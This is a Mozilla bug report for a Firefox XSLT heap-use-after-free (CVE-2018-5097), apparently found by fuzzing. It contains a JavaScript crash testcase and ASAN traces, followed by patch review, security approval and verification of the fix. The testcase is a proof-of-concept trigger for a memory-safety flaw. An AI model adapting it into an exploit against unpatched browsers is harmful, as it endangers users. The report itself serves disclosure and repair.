Closed Bug 1387427 (CVE-2018-5097) Opened 7 years ago Closed 6 years ago

heap-use-after-free in txNameTest::matches

Categories

(Core :: XSLT, defect, P1)

57 Branch
defect

Tracking

()

VERIFIED FIXED
mozilla59
Tracking Status
firefox-esr52 58+ verified
firefox57 --- wontfix
firefox58 + verified
firefox59 + verified

People

(Reporter: nils, Assigned: peterv)

References

(Depends on 1 open bug)

Details

(Keywords: csectype-uaf, sec-high, testcase, Whiteboard: [adv-main58+][adv-esr52.6+])

Attachments

(11 files, 3 obsolete files)

Attached file ASAN output
The following testcase crashes the latest ASAN build of Firefox (57.0a1, BuildID=20170803031846). It requires the attached ctop.xsl, mathml.xsl, math.xml and pmathml.xsl

<script>
function start() {
	o0=document;
	document.documentElement.innerHTML="";;
	o16=o0.createElement('iframe');
	o16.src='math.xml';
	o19=o0.createElement('element');
	o22=document.documentElement.querySelector('*:not([id])');
	document.documentElement.appendChild(o16);
	o33=o0.createElement('marquee');
	o33.addEventListener('DOMAttrModified',fun0);
	o33.style.objectPosition='341cm';
}
function fun0() {
	o16.src='javascript:window.top.fun1(document)';
	o39=o0.createElement('style');
	o22.appendChild(o39);
}
function fun1(a) {
	o52=a;
	o53=o52.querySelector('*:not([id])');
	o53.id='id7';
	o39.replaceWith(undefined,o19);
	o79=o52.querySelector('*:not([id])');
	o19.innerHTML='<script>window.top.fun2()</'+'script>';
	o79.before(o22);
}
function fun2() {
	o53.textContent="a";
	fuzzPriv.GC();fuzzPriv.CC();fuzzPriv.GC();fuzzPriv.CC();
}
</script>
<body onload="start()"></body>

ASAN ouput:
=================================================================
==6027==ERROR: AddressSanitizer: heap-use-after-free on address 0x60c000195f5c at pc 0x7fe871141b2e bp 0x7fffeab00210 sp 0x7fffeab00208
READ of size 4 at 0x60c000195f5c thread T0 (Web Content)
    #0 0x7fe871141b2d in GetBoolFlag /home/worker/workspace/build/src/obj-firefox/dist/include/nsINode.h:1602:12
    #1 0x7fe871141b2d in IsElement /home/worker/workspace/build/src/obj-firefox/dist/include/nsINode.h:440
    #2 0x7fe871141b2d in isElement /home/worker/workspace/build/src/dom/xslt/xpath/txXPathTreeWalker.h:225
    #3 0x7fe871141b2d in txNameTest::matches(txXPathNode const&, txIMatchContext*, bool&) /home/worker/workspace/build/src/dom/xslt/xpath/txNameTest.cpp:31
    #4 0x7fe87114b2f5 in txPredicatedNodeTest::matches(txXPathNode const&, txIMatchContext*, bool&) /home/worker/workspace/build/src/dom/xslt/xpath/txPredicatedNodeTest.cpp:24:30
    #5 0x7fe8711d1e86 in txStepPattern::matches(txXPathNode const&, txIMatchContext*, bool&) /home/worker/workspace/build/src/dom/xslt/xslt/txXSLTPatterns.cpp:438:30
    #6 0x7fe8711b3514 in txStylesheet::findTemplate(txXPathNode const&, txExpandedName const&, txIMatchContext*, txStylesheet::ImportFrame*, txInstruction**, txStylesheet::ImportFrame**) /home/worker/workspace/build/src/dom/xslt/xslt/txStylesheet.cpp:133:45
    #7 0x7fe87117045a in txApplyTemplates::execute(txExecutionState&) /home/worker/workspace/build/src/dom/xslt/xslt/txInstructions.cpp:85:26
    #8 0x7fe8711d347d in txXSLTProcessor::execute(txExecutionState&) /home/worker/workspace/build/src/dom/xslt/xslt/txXSLTProcessor.cpp:49:21
    #9 0x7fe87119ce9a in txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:679:14
    #10 0x7fe8711aded3 in nsTransformBlockerEvent::Run() /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:562:17
    #11 0x7fe86afd64ce in nsThread::ProcessNextEvent(bool, bool*) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1446:14
    #12 0x7fe86afdc748 in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:480:10
    #13 0x7fe86bdee181 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/glue/MessagePump.cpp:97:21
    #14 0x7fe86bd4b64b in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10
    #15 0x7fe86bd4b64b in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319
    #16 0x7fe86bd4b64b in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299
    #17 0x7fe87159c08f in nsBaseAppShell::Run() /home/worker/workspace/build/src/widget/nsBaseAppShell.cpp:156:27
    #18 0x7fe875873c77 in XRE_RunAppShell() /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:882:22
    #19 0x7fe86bd4b64b in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10
    #20 0x7fe86bd4b64b in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319
    #21 0x7fe86bd4b64b in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299
    #22 0x7fe8758736e0 in XRE_InitChildProcess(int, char**, XREChildData const*) /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:699:34
    #23 0x4eb843 in content_process_main /home/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:64:30
    #24 0x4eb843 in main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:285
    #25 0x7fe8888e182f in __libc_start_main /build/glibc-bfm8X4/glibc-2.23/csu/../csu/libc-start.c:291
    #26 0x41d198 in _start (/home/nils/fuzzer3/firefox/firefox+0x41d198)

0x60c000195f5c is located 28 bytes inside of 128-byte region [0x60c000195f40,0x60c000195fc0)
freed by thread T0 (Web Content) here:
    #0 0x4bb6cb in __interceptor_free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:47:3
    #1 0x7fe86ae71547 in SnowWhiteKiller::~SnowWhiteKiller() /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2658:25
    #2 0x7fe86ae7870b in FreeSnowWhite /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2846:3
    #3 0x7fe86ae7870b in nsCycleCollector::BeginCollection(ccType, nsICycleCollectorListener*) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3850
    #4 0x7fe86ae77c23 in nsCycleCollector::Collect(ccType, js::SliceBudget&, nsICycleCollectorListener*, bool) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3671:9
    #5 0x7fe86ae7b950 in nsCycleCollector_collect(nsICycleCollectorListener*) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:4208:21
    #6 0x7fe86dd5d77d in nsJSContext::CycleCollectNow(nsICycleCollectorListener*) /home/worker/workspace/build/src/dom/base/nsJSEnvironment.cpp:1670:3
    #7 0x7fe86d8a297b in nsDOMWindowUtils::CycleCollect(nsICycleCollectorListener*) /home/worker/workspace/build/src/dom/base/nsDOMWindowUtils.cpp:1410:3
    #8 0x7fe86aff5bf1 in NS_InvokeByIndex /home/worker/workspace/build/src/xpcom/reflect/xptcall/md/unix/xptcinvoke_asm_x86_64_unix.S:129
    #9 0x7fe86c8c91a0 in Invoke /home/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNative.cpp:1996:12
    #10 0x7fe86c8c91a0 in Call /home/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNative.cpp:1315
    #11 0x7fe86c8c91a0 in XPCWrappedNative::CallMethod(XPCCallContext&, XPCWrappedNative::CallMode) /home/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNative.cpp:1282
    #12 0x7fe86c8d016f in XPC_WN_CallMethod(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNativeJSOps.cpp:967:12
    #13 0x7fe875d56a24 in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:293:15
    #14 0x7fe875d56a24 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:469
    #15 0x7fe875d3faa5 in CallFromStack /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:520:12
    #16 0x7fe875d3faa5 in Interpret(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3064
    #17 0x7fe875d26b19 in js::RunScript(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:409:12
    #18 0x7fe875d56bbc in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:487:15
    #19 0x7fe875d57512 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:533:10
    #20 0x7fe876751983 in JS_CallFunctionValue(JSContext*, JS::Handle<JSObject*>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/jsapi.cpp:2890:12
    #21 0x7fe86c7eb28b in xpc::FunctionForwarder(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/js/xpconnect/src/ExportHelpers.cpp:315:18
    #22 0x7fe875d56a24 in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:293:15
    #23 0x7fe875d56a24 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:469
    #24 0x7fe875d3faa5 in CallFromStack /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:520:12
    #25 0x7fe875d3faa5 in Interpret(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3064
    #26 0x7fe875d26b19 in js::RunScript(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:409:12
    #27 0x7fe875d56bbc in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:487:15
    #28 0x7fe875d57512 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:533:10
    #29 0x7fe876a095be in js::Wrapper::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) const /home/worker/workspace/build/src/js/src/proxy/Wrapper.cpp:169:12
    #30 0x7fe8769bce19 in js::CrossCompartmentWrapper::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) const /home/worker/workspace/build/src/js/src/proxy/CrossCompartmentWrapper.cpp:359:23
    #31 0x7fe8769e98a3 in js::Proxy::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) /home/worker/workspace/build/src/js/src/proxy/Proxy.cpp:481:21
    #32 0x7fe8769ec267 in js::proxy_Call(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/js/src/proxy/Proxy.cpp:741:12
    #33 0x7fe875d56e6c in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:293:15
    #34 0x7fe875d56e6c in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:451
    #35 0x7fe875d3faa5 in CallFromStack /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:520:12
    #36 0x7fe875d3faa5 in Interpret(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3064
    #37 0x7fe875d26b19 in js::RunScript(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:409:12
    #38 0x7fe875d59337 in js::ExecuteKernel(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value const&, js::AbstractFramePtr, JS::Value*) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:698:15

previously allocated by thread T0 (Web Content) here:
    #0 0x4bba1c in malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:64:3
    #1 0x4ecf3d in moz_xmalloc /home/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:83:17
    #2 0x7fe8710fff27 in operator new /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:200:12
    #3 0x7fe8710fff27 in nsXMLContentSink::FlushText(bool) /home/worker/workspace/build/src/dom/xml/nsXMLContentSink.cpp:772
    #4 0x7fe871101bee in nsXMLContentSink::HandleEndElement(char16_t const*, bool) /home/worker/workspace/build/src/dom/xml/nsXMLContentSink.cpp:1038:3
    #5 0x7fe86cbac6d1 in HandleEndElement /home/worker/workspace/build/src/parser/htmlparser/nsExpatDriver.cpp:395:26
    #6 0x7fe86cbac6d1 in Driver_HandleEndElement(void*, char16_t const*) /home/worker/workspace/build/src/parser/htmlparser/nsExpatDriver.cpp:76
    #7 0x7fe87367118a in doContent /home/worker/workspace/build/src/parser/expat/lib/xmlparse.c:2554:11
    #8 0x7fe87366565a in contentProcessor /home/worker/workspace/build/src/parser/expat/lib/xmlparse.c:2098:27
    #9 0x7fe87366565a in doProlog /home/worker/workspace/build/src/parser/expat/lib/xmlparse.c:4078
    #10 0x7fe87365c0bd in prologProcessor /home/worker/workspace/build/src/parser/expat/lib/xmlparse.c:3812:10
    #11 0x7fe87365c0bd in prologInitProcessor /home/worker/workspace/build/src/parser/expat/lib/xmlparse.c:3629
    #12 0x7fe87365a391 in MOZ_XML_Parse /home/worker/workspace/build/src/parser/expat/lib/xmlparse.c:1530:17
    #13 0x7fe86cba7897 in nsExpatDriver::ParseBuffer(char16_t const*, unsigned int, bool, unsigned int*) /home/worker/workspace/build/src/parser/htmlparser/nsExpatDriver.cpp:1012:16
    #14 0x7fe86cba8b42 in nsExpatDriver::ConsumeToken(nsScanner&, bool&) /home/worker/workspace/build/src/parser/htmlparser/nsExpatDriver.cpp:1110:5
    #15 0x7fe86cbb56d0 in nsParser::Tokenize(bool) /home/worker/workspace/build/src/parser/htmlparser/nsParser.cpp:1539:30
    #16 0x7fe86cbb0f15 in nsParser::ResumeParse(bool, bool, bool) /home/worker/workspace/build/src/parser/htmlparser/nsParser.cpp:1056:41
    #17 0x7fe86cbb68ea in nsParser::OnDataAvailable(nsIRequest*, nsISupports*, nsIInputStream*, unsigned long, unsigned int) /home/worker/workspace/build/src/parser/htmlparser/nsParser.cpp:1437:12
    #18 0x7fe86b12ab5b in nsBaseChannel::OnDataAvailable(nsIRequest*, nsISupports*, nsIInputStream*, unsigned long, unsigned int) /home/worker/workspace/build/src/netwerk/base/nsBaseChannel.cpp:902:28
    #19 0x7fe86b1795d4 in nsInputStreamPump::OnStateTransfer() /home/worker/workspace/build/src/netwerk/base/nsInputStreamPump.cpp:615:33
    #20 0x7fe86b1782c8 in nsInputStreamPump::OnInputStreamReady(nsIAsyncInputStream*) /home/worker/workspace/build/src/netwerk/base/nsInputStreamPump.cpp:443:25
    #21 0x7fe86af7115d in nsInputStreamReadyEvent::Run() /home/worker/workspace/build/src/xpcom/io/nsStreamUtils.cpp:97:20
    #22 0x7fe86afa8c60 in mozilla::SchedulerGroup::Runnable::Run() /home/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:356:25
    #23 0x7fe86afd64ce in nsThread::ProcessNextEvent(bool, bool*) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1446:14
    #24 0x7fe86afdc748 in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:480:10
    #25 0x7fe86bdee181 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/glue/MessagePump.cpp:97:21
    #26 0x7fe86bd4b64b in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10
    #27 0x7fe86bd4b64b in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319
    #28 0x7fe86bd4b64b in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299
    #29 0x7fe87159c08f in nsBaseAppShell::Run() /home/worker/workspace/build/src/widget/nsBaseAppShell.cpp:156:27
    #30 0x7fe875873c77 in XRE_RunAppShell() /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:882:22
    #31 0x7fe86bd4b64b in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10
    #32 0x7fe86bd4b64b in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319
    #33 0x7fe86bd4b64b in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299
    #34 0x7fe8758736e0 in XRE_InitChildProcess(int, char**, XREChildData const*) /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:699:34
    #35 0x4eb843 in content_process_main /home/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:64:30
    #36 0x4eb843 in main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:285
    #37 0x7fe8888e182f in __libc_start_main /build/glibc-bfm8X4/glibc-2.23/csu/../csu/libc-start.c:291

SUMMARY: AddressSanitizer: heap-use-after-free /home/worker/workspace/build/src/obj-firefox/dist/include/nsINode.h:1602:12 in GetBoolFlag
Shadow bytes around the buggy address:
  0x0c188002ab90: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
  0x0c188002aba0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c188002abb0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
  0x0c188002abc0: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
  0x0c188002abd0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa
=>0x0c188002abe0: fa fa fa fa fa fa fa fa fd fd fd[fd]fd fd fd fd
  0x0c188002abf0: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
  0x0c188002ac00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c188002ac10: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c188002ac20: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
  0x0c188002ac30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==6027==ABORTING
Attached file crash.html
Attached file ctop.xsl
Attached file math.xml
Attached file mathml.xsl
Attached file pmathml.xsl
Group: core-security → dom-core-security
Component: DOM → XSLT
Flags: needinfo?(peterv)
Hmm, this somehow gets hold of the source document before the transform happens and manages to mutate it during the transform.
Flags: needinfo?(peterv)
Please let me know if you won't have time for this, Peter.
Assignee: nobody → peterv
Priority: -- → P1
Keywords: sec-high
Yeah, I've been thinking about a way to fix this. Cloning the document before the transform would work, but might be quite bad for performance.
Flags: sec-bounty?
Gentle ping :)
Flags: needinfo?(peterv)
Is there someone else who can own this bug?
Flags: needinfo?(overholt)
Keywords: testcase
I've taken this to email but I'll keep my needinfo here since I haven't actually provided any info :)
Peter told me he's going to work on this.
Flags: needinfo?(peterv)
Flags: needinfo?(overholt)
Attached patch v1 (obsolete) — Splinter Review
This avoids inserting the source content for the XSLT transform into the document, so script that manages to touch the document can't affect the transform.
Attachment #8925169 - Flags: review?(bugs)
Attached patch Some cleanup v1Splinter Review
This is just some cleanup after the previous patch.
Attachment #8925171 - Flags: review?(bugs)
Attached patch v1.1 (obsolete) — Splinter Review
This actually clears the array of children when we don't need it anymore.
Attachment #8925169 - Attachment is obsolete: true
Attachment #8925169 - Flags: review?(bugs)
Attachment #8925232 - Flags: review?(bugs)
Comment on attachment 8925232 [details] [diff] [review]
v1.1

> nsXMLContentSink::OnTransformDone(nsresult aResult,
>                                   nsIDocument* aResultDocument)
> {
>-  NS_ASSERTION(NS_FAILED(aResult) || aResultDocument,
>-               "Don't notify about transform success without a document.");
>+  MOZ_ASSERT(NS_FAILED(aResult) || aResultDocument,
>+             "Don't notify about transform success without a document.");
So, if we failed, we may not have a document, at least based on the assertion.

>+
>+  mDocumentChildren.Clear();
> 
>   nsCOMPtr<nsIDOMDocument> domDoc = do_QueryInterface(aResultDocument);
> 
>   nsCOMPtr<nsIContentViewer> contentViewer;
>   mDocShell->GetContentViewer(getter_AddRefs(contentViewer));
> 
>   if (NS_FAILED(aResult) && contentViewer) {
>     // Transform failed.
>-    if (domDoc) {
>-      aResultDocument->SetMayStartLayout(false);
>-      // We have an error document.
>-      contentViewer->SetDOMDocument(domDoc);
>-    }
>-    else {
>-      // We don't have an error document, display the
>-      // untransformed source document.
>-      nsCOMPtr<nsIDOMDocument> document = do_QueryInterface(mDocument);
>-      contentViewer->SetDOMDocument(document);
>-    }
>+    aResultDocument->SetMayStartLayout(false);
yet here you assume aResultDocument is non-null.
What am I missing?
Is the assertion wrong or use of aResultDocument?


What happens if loading of the document fails?

Could take another quick look after those questions answered.
Attachment #8925232 - Flags: review?(bugs) → review-
Comment on attachment 8925171 [details] [diff] [review]
Some cleanup v1

So those extra nsCOMPtr variables act also like kungfuDeathGrips, but as far as I see, everything should be fine without those.
Attachment #8925171 - Flags: review?(bugs) → review+
Comment on attachment 8925232 [details] [diff] [review]
v1.1

Review of attachment 8925232 [details] [diff] [review]:
-----------------------------------------------------------------

(In reply to Olli Pettay [:smaug] from comment #17)
> >-  NS_ASSERTION(NS_FAILED(aResult) || aResultDocument,
> >-               "Don't notify about transform success without a document.");
> >+  MOZ_ASSERT(NS_FAILED(aResult) || aResultDocument,
> >+             "Don't notify about transform success without a document.");
> So, if we failed, we may not have a document, at least based on the
> assertion.

Ugh, I think I wanted to just change this to assert aResultDocument. There's only 3 callers to OnTransformDone: http://searchfox.org/mozilla-central/source/dom/xslt/xslt/txMozillaTextOutput.cpp#97 passes |mDocument| after calling |mDocument->SetReadyStateInternal(...)|, http://searchfox.org/mozilla-central/source/dom/xslt/xslt/txMozillaXSLTProcessor.cpp#1180 passes |document| after calling |document->SetReadyStateInternal(...)|, http://searchfox.org/mozilla-central/source/dom/xslt/xslt/txMozillaXMLOutput.cpp#1074 is a bit more complicated, the txTransformNotifier is created in the txMozillaXMLOutput constructor (http://searchfox.org/mozilla-central/source/dom/xslt/xslt/txMozillaXMLOutput.cpp#66) but the txMozillaXMLOutput object and its txTransformNotifier are immediately destroyed if createResultDocument fails (http://searchfox.org/mozilla-central/source/dom/xslt/xslt/txMozillaXSLTProcessor.cpp#102), so txTransformNotifier::SignalTransformEnd can only ever be called if there is a mDocument.

> What happens if loading of the document fails?

Of which document? If the stylesheet load fails we'll end displaying an error document.

(In reply to Olli Pettay [:smaug] from comment #18)
> So those extra nsCOMPtr variables act also like kungfuDeathGrips, but as far
> as I see, everything should be fine without those.

True, but txToDocHandlerFactory::mSourceDocument is only ever set in its constructor, so as you said things should be fine.
Attachment #8925232 - Flags: review- → review?(bugs)
(In reply to Peter Van der Beken [:peterv] from comment #19)
> Of which document? If the stylesheet load fails we'll end displaying an
> error document.
either.
(In reply to Olli Pettay [:smaug] from comment #20)
> (In reply to Peter Van der Beken [:peterv] from comment #19)
> > Of which document? If the stylesheet load fails we'll end displaying an
> > error document.
> either.

If the source document fails to load we'll display an error document from nsXMLContentSink::ReportError.
Can scripts run in http://searchfox.org/mozilla-central/rev/7e090b227f7a0ec44d4ded604823d48823158c51/dom/xslt/xslt/txMozillaTextOutput.cpp#81,97 and then mDocument somehow pointing to null.
I mean, AppendChildTo could perhaps run scripts, no?

But ok, I guess we'd crash already anyhow in mDocument->SetReadyStateInternal(nsIDocument::READYSTATE_INTERACTIVE);
(and crash safely)
(In reply to Peter Van der Beken [:peterv] from comment #21)
> (In reply to Olli Pettay [:smaug] from comment #20)
> > (In reply to Peter Van der Beken [:peterv] from comment #19)
> > > Of which document? If the stylesheet load fails we'll end displaying an
> > > error document.
> > either.
> 
> If the source document fails to load we'll display an error document from
> nsXMLContentSink::ReportError.

And we deal with mDocumentChildren in some sane way?
Comment on attachment 8925232 [details] [diff] [review]
v1.1

Ok, thanks for explaining the assertion. So, fix it, and r+.

This is scary stuff, IMO. Somewhat rarely used code.
Attachment #8925232 - Flags: review?(bugs) → review+
(In reply to Olli Pettay [:smaug] from comment #22)
> Can scripts run in
> http://searchfox.org/mozilla-central/rev/
> 7e090b227f7a0ec44d4ded604823d48823158c51/dom/xslt/xslt/txMozillaTextOutput.
> cpp#81,97 and then mDocument somehow pointing to null.
> I mean, AppendChildTo could perhaps run scripts, no?

Scripts could maybe run, but how would it unset mDocument?(In reply to Olli Pettay [:smaug] from comment #23)

> (In reply to Peter Van der Beken [:peterv] from comment #21)
> > (In reply to Olli Pettay [:smaug] from comment #20)
> > If the source document fails to load we'll display an error document from
> > nsXMLContentSink::ReportError.
> 
> And we deal with mDocumentChildren in some sane way?

Good point, I'll just clear mDocumentChildren there too.
(In reply to Peter Van der Beken [:peterv] from comment #25)
> (In reply to Olli Pettay [:smaug] from comment #22)
> > Can scripts run in
> > http://searchfox.org/mozilla-central/rev/
> > 7e090b227f7a0ec44d4ded604823d48823158c51/dom/xslt/xslt/txMozillaTextOutput.
> > cpp#81,97 and then mDocument somehow pointing to null.
> > I mean, AppendChildTo could perhaps run scripts, no?
> 
> Scripts could maybe run, but how would it unset mDocument?
Yeah, maybe no ways, just something to look at.
Attached patch v1.1Splinter Review
With review comments taken care of.
Attachment #8926320 - Flags: review+
Attachment #8925232 - Attachment is obsolete: true
Comment on attachment 8926320 [details] [diff] [review]
v1.1

[Security approval request comment]
How easily could an exploit be constructed based on the patch?

Not very easily I think.

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?

I don't think so.

Which older supported branches are affected by this flaw?

I think this affects all supported branches.

If not all supported branches, which bug introduced the flaw?

All supported branches.

Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?

The backports should be fairly trivial.

How likely is this patch to cause regressions; how much testing does it need?

Regression risk for XSLT should be small, there's also a small risk for non-XSLT regressions, since the change affects XML loading in general.
Attachment #8926320 - Flags: sec-approval?
Sec-approval for checkin on 11/28 or immediately after (two weeks into the new cycle). Don't check it in before then.
Attachment #8926320 - Flags: sec-approval? → sec-approval+
Whiteboard: [checkin on 11/28]
Please request beta/esr52 uplift when you get a chance.
Status: NEW → RESOLVED
Closed: 6 years ago
Resolution: --- → FIXED
Group: dom-core-security → core-security-release
Peter: does this patch apply as-is to beta and ESR52? Please request uplift approval when a patch is ready.
Flags: sec-bounty? → sec-bounty+
AFAICT, this'll need rebased patches for both Beta and ESR52. And soon since there's only ~1 week left in the 58 cycle before we start building release candidates.
Attachment #8896235 - Attachment description: Simpler testcase → Simpler testcase (requires fuzzPriv)
Attachment #8941417 - Attachment is obsolete: true
Comment on attachment 8926320 [details] [diff] [review]
v1.1

Approval Request Comment
[Feature/Bug causing the regression]: XSLT
[User impact if declined]: security bug (UAF)
[Is this code covered by automated tests?]: yes
[Has the fix been verified in Nightly?]: no
[Needs manual test from QE? If yes, steps to reproduce]: yes, use a fuzzer build, set pref security.data_uri.unique_opaque_origin to true, load https://bugzilla.mozilla.org/attachment.cgi?id=8941418, verify that the tab doesn't crash (there will be a JS error)
[List of other uplifts needed for the feature/fix]: none
[Is the change risky?]: not very risky
[Why is the change risky/not risky?]: confined to XSLT code, just avoids exposing the source document to script
[String changes made/needed]: none


[Approval Request Comment]
If this is not a sec:{high,crit} bug, please state case for ESR consideration: sec:high
User impact if declined: security bug (UAF)
Fix Landed on Version: 59
Risk to taking this patch (and alternatives if risky): could break XSLT usage, but fairly unlikely and limited to XSLT
String or UUID changes made by this patch: none
Flags: needinfo?(peterv)
Attachment #8926320 - Flags: approval-mozilla-esr52?
Attachment #8926320 - Flags: approval-mozilla-beta?
(In reply to Ryan VanderMeulen [:RyanVM] from comment #36)
> AFAICT, this'll need rebased patches for both Beta and ESR52.

This doesn't need a rebased patch for beta at least (and likely same for ESR). Attachment 8925171 [details] [diff] isn't needed on branches.
Comment on attachment 8926320 [details] [diff] [review]
v1.1

UAF fix. Beta58+ & ESR52+.
Attachment #8926320 - Flags: approval-mozilla-esr52?
Attachment #8926320 - Flags: approval-mozilla-esr52+
Attachment #8926320 - Flags: approval-mozilla-beta?
Attachment #8926320 - Flags: approval-mozilla-beta+
ESR52 needs rebasing still.
Flags: needinfo?(peterv)
Flags: needinfo?(peterv)
Flags: qe-verify+
I have managed to reproduce the issue mentioned in comment 0 using Firefox 57.0a1 (BuildId:20170804000129) ASAN fuzz build.

This issue is verified fixed using Firefox 59.0a1(BuildId:20180112112625), Firefox 59.0b1 (buildId:20180112191439) and Firefox 52.6.0 esr (BuildId:20180111183935) using Ubuntu 16.04 64bit.
Status: RESOLVED → VERIFIED
Flags: qe-verify+
Whiteboard: [adv-main58+][adv-esr52.6+]
i've filed bug 1430818 for a low volume crash that appears to happen in the code touched by the patch here.
Alias: CVE-2018-5097
Depends on: 1430818
Depends on: 1436040
